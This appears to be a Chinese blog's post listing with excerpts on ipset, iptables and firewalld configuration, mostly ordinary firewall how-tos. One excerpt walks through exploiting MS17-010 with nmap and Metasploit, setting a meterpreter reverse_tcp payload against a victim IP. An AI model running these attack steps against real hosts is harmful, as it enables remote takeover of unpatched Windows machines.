• 2024-08-25ipset:保存集合内容到文件
    一,保存到文件1,创建集合:[root@blog~]#ipsetcreatemysethash:ip添加ip:[root@blog~]#ipsetaddmyset192.168.1.100[root@blog~]#ipsetaddmyset192.168.1.101[root@blog~]#ipsetaddmyset192.168.1.102查看集合信息:[root@blog~]#ipsetlistmyset
  • 2024-08-24linux: ipset命令
    一,ipset命令功能:1,ipset是一个用于管理IP地址集合的工具,主要用于‌Linux系统中高效处理大量IP地址。它提供了创建、添加、删除、查询和测试集合的操作 2,查看ipset的文件路径:[lhdop@blog~]$whereisipsetipset:/usr/sbin/ipset/usr/share/man/man8/ipset.8.gz查
  • 2024-05-28linux使用ipset禁止国外IP访问
    一、安装ipsetyuminstallipset-y二、禁止firewalldsystemctlstopfirewalldsystemctldisablefirewalld三、设置iptables默认允许规则iptables-PINPUTACCEPT四、清空其他规则[root@hlcc~]#iptables-F五、查看规则[root@hlcc~]#iptables-LChain
  • 2024-03-11简述kube-proxy ipvs和iptables的异同
    iptables与IPVS都是基于Netfilter实现的,但因为定位不同,二者有着本质的差别:iptables是为防火墙而设计的;IPVS则专门用于高性能负载均衡,并使用更高效的数据结构(Hash表),允许几乎无限的规模扩张。与iptables相比,IPVS拥有以下明显优势:为大型集群提供了更好的可扩展性和性能;支持比iptabl
  • 2024-02-25centos火墙ipset配置
    #!/bin/bashv_port=$1v_ip_txt=$2v_name=$3v_ipset_name="${v_name}_${v_port}"firewall-cmd--permanent--new-ipset=nc_22--type=hash:ipwhilereadipdov_cmd="firewall-cmd--permanent--ipset=${v_ipset_name}--add-entry=${ip}"
  • 2024-02-13iptables
    iptables是一个基于内核空间netfilter的用户空间工具,用于配置Linux内核的防火墙规则。钩子函数PREROUTING:在进入IP路由之前触发,就意味着只要接收到的数据包,无论是否真的发往本机,也都会触发这个钩子。它一般是用于目标网络地址转换(DestinationNAT,DNAT)。INPUT:报文经
  • 2023-12-27ipset及iptables屏蔽海外IP访问应用实例
    1、ipset相关操作安装(一般在centos6以上系统中默认已安装)yuminstallipset-y创建ipset集合ipsetcreatecn_iphash:nethashsize4096maxelem1000000cn_ip:集合名称hash:net集合类型名hashsize:指定了创建集合时初始大小maxelem:指定了集合最大存储记录的数量添加
  • 2023-10-13第一节-MS17-010
    //输入命令对IP进行完整的扫描nmap-T4-A-vip //输入命令启用msfmsfconsole //输入命令进行漏洞搜索searchms17-010 //选择使用攻击模块use0//设置攻击负载setpayloadwindows/x64/meterpreter/reverse_tcp//设置受害者IPsetrhostxxx.xxx.xxx.xxx/
  • 2023-07-31iptable
    **iptable命令**iptable-L查看iptable规则iptable-F清空iptable规则iptable-IINPUT-mset--match-setblacklistsrc-ptcp-mtcp-jDROP执行规则命令请特别注意,使用iptables命令配置的防火墙规则默认会在系统下一次重启时失效,如果想让配置的防
  • 2023-05-01ipset的学习与使用
    ipset的学习与使用场景说明虽然可以通过:firewall-cmd--zone=trusted--add-source=$1--permanent&&firewall-cmd--reload或者是firewall-cmd--zone=public--add-port=$1/tcp--permanent&&firewall-cmd--reload为ip地址和端口开放里面,但是每次还需要进行一下
  • 2023-04-27ipset命令详解
    Centos7ipset命令介绍及使用  ipset介绍iptables是在linux内核里配置防火墙规则的用户空间工具,它实际上是netfilter框架的一部分。可能因为iptables是netfilter框架里最常见的部分,所以这个框架通常被称为iptables,iptables是linux从2.4版本引入的防火墙解决方案。ip
  • 2023-03-29iptables实现针对域名匹配规则
    iptables一般都是基于IP、端口、协议来实现数据包过滤本文主要记录如何借助于dnsmasq以及ipset,“曲线救国”地实现iptables针对域名做规则匹配概述本文实现